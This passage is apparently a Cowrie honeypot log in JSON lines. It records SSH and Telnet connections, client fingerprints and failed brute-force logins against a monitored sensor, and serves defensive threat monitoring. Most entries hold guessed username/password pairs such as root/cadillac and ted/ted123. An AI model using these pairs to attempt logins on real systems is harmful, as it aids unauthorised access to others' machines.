256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:48.813077Z","src_ip":"103.27.238.116","session":"df3ce89b4ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:48.878146Z","src_ip":"103.27.238.120","session":"1ccb84ce408b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"505505","message":"login attempt [root/505505] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:49.612218Z","src_ip":"103.27.238.116","session":"df3ce89b4ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iphone4s","message":"login attempt [root/iphone4s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:49.705491Z","src_ip":"103.27.238.120","session":"1ccb84ce408b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:50.880587Z","src_ip":"103.27.238.116","session":"df3ce89b4ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:29:50.984701Z","src_ip":"103.27.238.120","session":"1ccb84ce408b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":10904,"dst_ip":"10.17.0.5","dst_port":22,"session":"11d123a897ba","protocol":"ssh","message":"New connection: 213.209.159.56:10904 (10.17.0.5:22) [session: 11d123a897ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:29.930903Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":53068,"dst_ip":"10.17.0.5","dst_port":22,"session":"a926f5d6e5e2","protocol":"ssh","message":"New connection: 193.228.128.84:53068 (10.17.0.5:22) [session: a926f5d6e5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:31.018301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:31.023736Z","src_ip":"193.228.128.84","session":"a926f5d6e5e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:31.126731Z","src_ip":"193.228.128.84","session":"a926f5d6e5e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cadillac","message":"login attempt [root/cadillac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:31.436557Z","src_ip":"193.228.128.84","session":"a926f5d6e5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:32.542583Z","src_ip":"193.228.128.84","session":"a926f5d6e5e2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:44.033818Z","src_ip":"213.209.159.56","session":"11d123a897ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:44.112892Z","src_ip":"213.209.159.56","session":"11d123a897ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted","message":"login attempt [ted/ted] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:44.516652Z","src_ip":"213.209.159.56","session":"11d123a897ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted1","message":"login attempt [ted/ted1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:45.602975Z","src_ip":"213.209.159.56","session":"11d123a897ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted123","message":"login attempt [ted/ted123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:46.689742Z","src_ip":"213.209.159.56","session":"11d123a897ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted1234","message":"login attempt [ted/ted1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:47.776754Z","src_ip":"213.209.159.56","session":"11d123a897ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ted","password":"ted12345","message":"login attempt [ted/ted12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:48.863321Z","src_ip":"213.209.159.56","session":"11d123a897ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:30:49.950553Z","src_ip":"213.209.159.56","session":"11d123a897ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":42934,"dst_ip":"10.17.0.5","dst_port":22,"session":"034ab785a200","protocol":"ssh","message":"New connection: 103.77.175.15:42934 (10.17.0.5:22) [session: 034ab785a200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:31:31.973041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:31:31.977977Z","src_ip":"103.77.175.15","session":"034ab785a200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:31:32.268616Z","src_ip":"103.77.175.15","session":"034ab785a200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17061988","message":"login attempt [root/17061988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:31:33.032635Z","src_ip":"103.77.175.15","session":"034ab785a200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:31:34.293089Z","src_ip":"103.77.175.15","session":"034ab785a200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42848,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e18c82cb24b","protocol":"telnet","message":"New connection: 135.148.14.151:42848 (159.203.135.109:23) [session: 8e18c82cb24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:10.797098Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55502,"dst_ip":"159.203.135.109","dst_port":22,"session":"688c82c4d043","protocol":"ssh","message":"New connection: 103.153.68.219:55502 (159.203.135.109:22) [session: 688c82c4d043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:23.773582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:23.783300Z","src_ip":"103.153.68.219","session":"688c82c4d043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:24.037986Z","src_ip":"103.153.68.219","session":"688c82c4d043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zadnica","message":"login attempt [root/zadnica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:24.798317Z","src_ip":"103.153.68.219","session":"688c82c4d043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:26.054771Z","src_ip":"103.153.68.219","session":"688c82c4d043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39204,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f266f2ad27","protocol":"ssh","message":"New connection: 109.172.54.111:39204 (10.17.0.5:22) [session: a1f266f2ad27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:44.415938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:44.421049Z","src_ip":"109.172.54.111","session":"a1f266f2ad27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:44.520661Z","src_ip":"109.172.54.111","session":"a1f266f2ad27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lkjhgfds","message":"login attempt [root/lkjhgfds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:44.833590Z","src_ip":"109.172.54.111","session":"a1f266f2ad27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:45.936609Z","src_ip":"109.172.54.111","session":"a1f266f2ad27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.863996505737305,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:46.660983Z","src_ip":"135.148.14.151","session":"8e18c82cb24b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53918,"dst_ip":"10.17.0.5","dst_port":22,"session":"5088c128c1eb","protocol":"ssh","message":"New connection: 89.223.69.22:53918 (10.17.0.5:22) [session: 5088c128c1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:50.620077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:50.624637Z","src_ip":"89.223.69.22","session":"5088c128c1eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:50.738208Z","src_ip":"89.223.69.22","session":"5088c128c1eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex1","message":"login attempt [root/alex1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:51.093131Z","src_ip":"89.223.69.22","session":"5088c128c1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:32:52.211443Z","src_ip":"89.223.69.22","session":"5088c128c1eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":45654,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f7a4fa4be3","protocol":"ssh","message":"New connection: 62.133.63.178:45654 (10.17.0.5:22) [session: b3f7a4fa4be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:04.581582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:04.587499Z","src_ip":"62.133.63.178","session":"b3f7a4fa4be3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:04.720217Z","src_ip":"62.133.63.178","session":"b3f7a4fa4be3","protocol":"ssh"}
